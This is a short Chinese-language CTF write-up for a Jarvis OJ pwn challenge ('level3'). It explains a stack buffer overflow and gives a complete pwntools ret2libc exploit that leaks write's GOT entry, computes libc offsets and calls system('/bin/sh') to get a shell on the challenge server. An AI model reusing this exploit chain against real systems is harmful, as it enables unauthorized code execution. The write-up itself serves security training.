发现这个系列的题构造都差不多……不过不同的是这道题中没有给出system的地址。
checksec一下发现cannary没开,于是分析read函数,发现可以栈溢出。
基本思路就是先利用第二个write函数打印出write函数的got表地址。然后再在给出的libc库中找到write函数的地址,计算偏移值offset。再从libc库中找到system,/bin/sh的地址,通过offset和栈溢出覆盖到read函数的返回地址即可。
通过命令
strings -a -t x ./libc-2.19.so | grep "/bin/sh"
即可找到库中/bin/sh地址
具体细节见如下exp:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
p=remote("pwn2.jarvisoj.com",9879)
#p=process("./level3")
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
p.recvline()
payload = "A" * 0x8C + p32(plt_write) + p32(main_addr) + p32(1) + p32(elf.got["write"]) + p32(4)
#多函数的调用规律:
#fun1_adr+fun2_adr+....+fun1_args+fun2_args
#根据伪代码write函数的参数,可以推断出我们构造的write函数的参数
p.send(payload)
write_addr=u32(p.recv(4))
libc=ELF("libc-2.19.so")
libc_system=libc.symbols["system"]
libc_binsh=0x162d4c #由上文中的命令直接得到的地址
libc_write=libc.symbols["write"]
system_addr=write_addr-libc_write+libc_system
binsh_addr=write_addr-libc_write+libc_binsh
p.recvline()
payload = "A" * 0x8C + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
#格式为fun_adr+返回地址+参数,返回地址可以随意调用
p.sendline(payload)
p.interactive()